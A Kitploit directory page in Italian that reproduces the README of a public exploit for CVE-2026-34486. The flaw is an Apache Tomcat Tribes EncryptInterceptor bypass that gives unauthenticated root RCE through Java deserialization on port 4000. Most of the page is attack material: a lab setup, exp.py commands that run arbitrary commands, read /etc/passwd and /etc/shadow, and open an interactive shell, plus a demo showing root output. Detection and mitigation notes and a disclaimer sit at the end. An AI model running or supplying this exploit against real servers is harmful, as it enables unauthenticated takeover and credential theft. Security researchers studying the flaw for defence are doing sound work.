Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34486 — Exploit per il bypass di Apache Tomcat EncryptInterceptor che porta a RCE non autenticata tramite deserializzazione Java sulla porta 4000. Include configurazione del laboratorio, shell interattiva e guida alla rilevazione. | Kitploit
Strumenti/GitHubGitHub/404-src/cve-2026-34486
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHub404-src/cve-2026-34486

CVE-2026-34486

Exploit per il bypass di Apache Tomcat EncryptInterceptor che porta a RCE non autenticata tramite deserializzazione Java sulla porta 4000. Include configurazione del laboratorio, shell interattiva e guida alla rilevazione.

Vedi Repository
974 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat Il modulo di comunicazione del cluster Tribes non riesce a scartare i messaggi quando la decrittazione di EncryptInterceptor fallisce, consentendo ad attaccanti non autenticati di innescare Remote Code Execution tramite deserializzazione Java sulla porta 4000.

Apache Tomcat CVE CVSS Python Java Docker License


Dettagli della Vulnerabilità

CampoInformazioni
ID CVECVE-2026-34486
Punteggio CVSS7.5 (Alto)
ComponenteApache Tomcat Tribes EncryptInterceptor
Versioni Affette9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
Versioni Corrette9.0.117 / 10.1.54 / 11.0.21
Tipo di VulnerabilitàRemote Code Execution non autenticata tramite deserializzazione
Vettore di AttaccoRete / Nessuna autenticazione / Bassa complessità
Porta di AttaccoTCP 4000 (Tribes NioReceiver)

Causa Principale

La funzionalità di clustering di Apache Tomcat utilizza il framework Tribes per sincronizzare i dati di sessione tra i nodi del cluster, in ascolto sulla porta TCP 4000 di default.

Quando EncryptInterceptor (AES/CBC) è abilitato, esiste il seguente difetto logico:

root@kitploit:~
// EncryptInterceptor.java — versione vulnerabile
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // elabora il messaggio decrittato...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // registra solo l'errore
    }
    super.messageReceived(msg);  // ← BUG: i byte grezzi vengono inoltrati anche dopo il fallimento della decrittazione
}

Il blocco catch registra solo l'errore. Poiché super.messageReceived(msg) è fuori dal blocco try-catch, i byte grezzi non crittografati vengono inoltrati a XByteBuffer.deserialize() → ObjectInputStream.readObject().

Un attaccante può inviare un payload di deserializzazione appositamente costruito per innescare RCE senza alcuna autenticazione.

Catena di Attacco

root@kitploit:~
Attaccante  ──TCP:4000──►  NioReceiver (nessuna autenticazione)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← solo traccia di log
                      super.messageReceived(msg)                ← BUG: i byte grezzi passano
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserializzazione innescata
                               │
                    Catena di Gadget CommonsCollections6
                               │
                    Runtime.exec()  →  RCE come root  🔴

Patch (9.0.117)

La correzione sposta super.messageReceived(msg) all'interno del blocco try, così qualsiasi fallimento di decrittazione causa lo scarto silenzioso del messaggio (fail-closed).

root@kitploit:~
// EncryptInterceptor.java — versione corretta
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // elabora...
        super.messageReceived(msg);  // ← CORRETTO: raggiunto solo se la decrittazione riesce
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // il messaggio viene scartato
    }
}

Requisiti

  • Python 3.6+
  • Java 11+ (java e javac nel PATH)
  • Docker (per la distribuzione del laboratorio)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (per la libreria Tribes)

Configurazione del Laboratorio

Scarica l'immagine vulnerabile pre-costruita

root@kitploit:~
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Verifica
curl http://localhost:8080

Scarica Exploit e Dipendenze

root@kitploit:~
# exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (per la libreria Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

Sfruttamento

Verifica RCE di base

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Verifica
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

RCE con output (consigliato)

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

Modalità shell interattiva

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

Percorsi personalizzati

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

Opzioni di exp.py

root@kitploit:~
-t, --target      IP del target (default: 127.0.0.1)
-p, --port        Porta Tribes (default: 4000)
    --http-port   Porta HTTP per il recupero dell'output (default: 8080)
-c, --command     Esegui comando direttamente (nessuna funzionalità di shell)
    --rce         Esegui comando e recupera l'output tramite HTTP
    --shell       Modalità shell interattiva
-g, --gadget      Catena di gadget (default: CommonsCollections6)
    --ysoserial   Percorso del jar ysoserial
    --tomcat-lib  Percorso della directory lib di Tomcat

Demo

root@kitploit:~
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

Rilevamento e Indicatori di Compromissione

L'unica traccia di log lasciata dall'attacco:

root@kitploit:~
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

Nessuna eccezione readObject viene registrata — il comando viene eseguito silenziosamente.

Mitigazione

AzionePriorità
Aggiornare a Tomcat 9.0.117 / 10.1.54 / 11.0.21Critica
Limitare la porta 4000 solo agli IP del cluster di fiduciaAlta
Monitorare i log per ripetuti Failed to decrypt messageMedia
Disabilitare il clustering Tribes se non necessarioAlta


Riferimenti

  • Apache Tomcat Security Advisories
  • Apache Tribes Documentation
  • ysoserial — frohoff
  • Java Deserialization Cheatsheet

Disclaimer

Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata, test di penetrazione e scopi educativi. Non utilizzare questo strumento contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.


Licenza

Licenza MIT © 2026 404-src

Scarica lo strumento